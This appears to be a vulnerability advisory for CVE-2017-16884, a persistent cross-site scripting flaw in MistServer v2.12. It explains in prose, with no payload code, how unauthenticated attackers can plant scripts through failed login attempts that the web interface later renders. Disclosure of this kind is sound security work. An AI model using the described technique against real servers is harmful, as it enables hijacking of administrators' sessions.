    Vendor:
    =============
    mistserver.org
    
    
    
    Product:
    ===========
    MistServer v2.12
    
    
    MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).
    
    
    
    Vulnerability Type:
    ===================
    Unauthenticated Persistent XSS
    
    
    
    CVE Reference:
    ==============
    CVE-2017-16884
    
    
    
    Security Issue:
    ================
    Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
    get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
    automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code.
